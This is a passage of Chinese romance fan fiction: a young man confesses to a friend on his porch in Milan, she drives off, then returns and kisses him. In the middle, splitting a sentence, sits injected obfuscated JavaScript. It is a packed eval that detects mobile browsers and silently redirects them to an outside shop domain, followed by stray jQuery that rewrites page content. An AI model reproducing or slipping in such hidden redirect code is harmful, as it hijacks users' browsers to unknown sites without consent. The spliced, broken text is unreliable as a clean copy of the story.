电影看完，夜已深。卡丽娜也该回家了。
今天的一天可以说是在卡卡精心地策划下完美度过。卡卡跟着她送到门外，穿过玄关时经过那只陶瓷松果摆件，穿过前门廊时踩过下午阳光曾经铺满的石板地。他的心跳随着这段短短的路程越来越快，快到他怀疑她会不会听见。
“丽娜，等等。”
他在她拉开车门的那一刻叫住了她。深呼吸，再深呼吸。他站在自己家门口的门廊下，门廊的灯光在他身后投下一个修长的影子。
“怎么了？”卡丽娜笑着转头。灯光落在他脸上，她看到他眼睛里有一种湿漉漉的、像小狗一样的神情。她以为是朋友间的不舍——毕竟今天过得太好了，好到让人舍不得说再见。她走回来，踮起脚尖，轻轻抱了抱他，掌心在他后背拍了拍，动作轻快而自然，像她和任何一个朋友告别时一样自然。
“明天我们可以在内洛见，不用舍不得。”
“丽娜。”
她刚要收回手，被他一把抱住了。不是刚才那种朋友间轻轻一拢就松开的那种拥抱——他的手臂收得很紧，把她的肩膀按在他的胸口，她似乎感觉到了他快速的心跳？
她的下巴搁在他的肩窝里，闻到他卫衣上淡淡的洗衣液味道。然后他的声音从她头顶传下来，认真，又有点颤抖。
“今天看完电影，我就在想。如果我喜欢一个女孩，我才不会浪费十二年的时间。我会在发现心意的第一时间就奋不顾身地冲过去。”他的声音顿了一下，想到了那个心动的午后，即使在知道她有男友的时候也还是冲了出去和她一起。
抱着她的手臂又收紧了一点，“我会想随时随地和她在一起。想和她一起看米兰早上的晨雾，想带她去巴西吃我妈妈做的烤肉，想带她一起去电影院看最新的电影，还有很多很多——我太想和她一起分享了。”
他深吸一口气，胸膛贴着她的脸颊起伏了一下，“遇到了想要共度余生的人，我也想这个余生越早开始越好。”
他结束了这个有点久的拥抱，双手按着她的肩膀，眼神专注地看着她的眼睛。门廊的灯光落在他睫毛上，投下两片细密的光影。他的拇指轻轻抵在她肩头，她能感觉到他指尖的温度隔着毛衣的面料一点一点渗过来。
她当然懂。这不是电影观后感，不是朋友之间的闲聊，不是在讨论哈利和莎莉花了十二年才想明白的事。这是告白。是里奇在对她说，那个想要共度余生的人，是你。
“我——”她的嘴唇张开又合上。她看到他眼睛里自己的倒影，像个傻子。她往后退了一步。不是想拒绝——是她需要一点空气，需要一点空间，需要让自己胸腔里那颗突然开始疯狂跳动的器官安静下来，好好想一想。她只是不知道该怎么在被他这样看着的时候思考任何事情。她疯狂地眨着眼睛，睫毛像蝴蝶翅膀一样急促地扇动。
“我，我会认真思考一下的！”
她几乎是逃进驾驶座的。车门在她身后砰地关上，发动引擎的声音在安静的住宅区街道上格外响亮。她根本不敢看后视镜，只想像往常一样逃离，逃离这种不熟悉的感情，逃离这种让人害怕又欣喜的感觉。她需要先思考，她必须思考。
尾灯在夜色中划出两道红色的弧线，转了个弯，消失在街角。
卡卡站在门廊下，一直看着那个方向。车尾灯的红光消失之后，他还在看着。街灯把他的影子拉得很长，一动不动地贴在石板路面上。他在等——等那辆车的尾灯会不会重新出现在街角，等她会不会忽然想起自己忘了什么东西，等一个他其实已经知道不会发生的折返。一分钟。两分钟。他不知道自己站了多久。
今天的计划明明那么完美。他提前预约了餐厅，提前打扫了房子，提前把所有约会的环节都准备好，是的，他觉得这是一次约会。他想了很久要看哪部电影——不能太明显，不能太刻意，不能像上次在运河边那样把她吓跑。
他选了《当哈利遇到莎莉》，他觉得男女主角和他俩有点像，都喜欢斗嘴，是从朋友慢慢变成恋人，喜欢那句“我想要余生快点来”。他以为她会喜欢。她确实喜欢。她笑的时候靠在他的肩膀上，哭的时候抢了他递过去的纸巾。一切都那么完美。直到他自己搞砸了。
是不是太快了？他刚才把“共度余生”和“奋不顾身”这些词一股脑地倒出来的时候，她的身体很僵硬。他的脑海里开始反复回放那个画面：她往后退了一步。只有一步，但他记得她后退的时候左脚鞋跟在地面上擦出的那声轻响。他吓到她了。他们的关系好不容易从“师生”走到了“好朋友”，好不容易从“好朋友”走到了“可以一起打游戏、看电影、谈天说地”的程度。
他应该慢慢来，慢慢侵占她的世界，让她离不开自己后再说的。可是他忍不住了。他想把心里装了太满的东西一口气倒在她面前，然后她跑了。和上次在运河边一模一样。
他站在那里，攥紧了门廊扶手的木质栏杆，指节泛白。早春带着凉意的夜风从街角灌过来，穿过他单薄的卫衣布料贴上皮肤。他不知道自己站了多久。直到一阵冷风吹透了他的衣服，他才猛地打了个喷嚏，声音在空旷的街道上孤单地回荡。然后，毫无预兆地，他的眼眶忽然涌上一种温热的、无法遏制的湿意。他努力咬住下唇想忍住，可是没有办法，泪水一涌而下。
他用手背去擦，越擦越多。不能哭，他对自己说——但眼泪已经沿着脸颊滑下来，滴在他下午帮她盖毯子时还很温柔的手指上。他靠在门框上，用手掌用力压住眼睛，肩膀轻轻颤抖。
然后一束车灯照亮了街角。
他透过泪眼婆娑的眼睛看向那里，是斑斑点点的灯光，像是他盯着黑暗太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759082|209568||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
久产生的幻觉。
一辆车停在了他的门口。车灯熄灭。驾驶座的门开了。卡丽娜走下了车，表情郑重，步子又大又急，大衣的衣摆在她身后翻飞。她没有犹豫，没有在门廊前停下来整理措辞，她径直走到他面前。她看到他脸上还没擦干的泪痕，他的睫毛还湿着，眼角和鼻尖都是红的。她的眼神触动，有心疼，有豁出去的决绝，还有一丝她没办法掩饰的、正在燃烧的温柔。
她伸出手，一把扯住他卫衣前胸的布料，手指攥紧。然后她踮起脚尖，吻了上去。
不是上次那种落在嘴角的、礼貌的、克制的、可以假装是失误的吻。这一次是嘴唇。柔软的，温热的，笃定的。他在那一秒钟里感受到了她的重量——她踮着脚，整个人往前倾，重心完全交付给那只攥着他衣服的手，像一棵被风推着往前倾倒的树，把所有的力量都集中在和他相连的这一点上。他尝到她嘴唇上还有下午那杯咖啡的余味，还带着他不理解的甜香。她的眼睛是闭着的，睫毛轻轻扫过他的下眼睑，痒痒的，像蝴蝶的翅膀。
她退开的时候，脚后跟轻轻落回地面，攥着他衣服的手指没有松开。她的脸颊以肉眼可见的速度红了起来，从颧骨蔓延到耳垂，但她没有低下头。她抬头看着他，眼睛里有刚刚点燃的、还没烧旺的火焰，声音微微发颤，但一个字比一个字更稳。
“我已经思考很久了。”她深吸一口气，想要说很多，想要把自己的整个心路历程都剖析给他看。可是想说的话太多了，张嘴半晌，然后笑了。
“人生苦短——何妨一试呢？”
他看着她。他刚才在心里骂了自己一千遍——骂自己太快，骂自己太急，骂自己为什么不能把心意再藏久一点。他以为这会是他们之间的《当哈利遇到莎莉》，需要十二年的时间才能让两个人同时准备好。但他不知道，她其实早就准备好了。从他在运河边对着那个穿风衣的男人说“我和她是一起的”开始，从他在看台上对着她坐的方向指向天空又指向她开始，也许更早——早到她自己都还没有想清楚。但他在门廊下说出那番话之后，她不需要再想了。
卡卡的眼泪又涌了出来，但这一次，他在哭的同时笑了出来。他低下头，额头抵着她的额头，鼻尖碰着鼻尖，声音还有点哑，但嘴角翘得压都压不住。
“你吓死我了。”
“我知道。”她说，声音轻轻软软的。
“我以为你跑了。”
“我是跑了。然后我在第五个红灯前停下来，想了半分钟，掉了个头。”她松开攥着他衣服的手指，用指尖轻轻擦掉他眼角的湿痕，“跑一次就够了。以后不跑了。”
他把她的手指攥在手心里。夜风还在吹，早春的米兰还是很冷，他刚才的眼泪还干在脸上。但他握着她的手，觉得这个夜晚是他二十一年生命里最温暖的夜晚。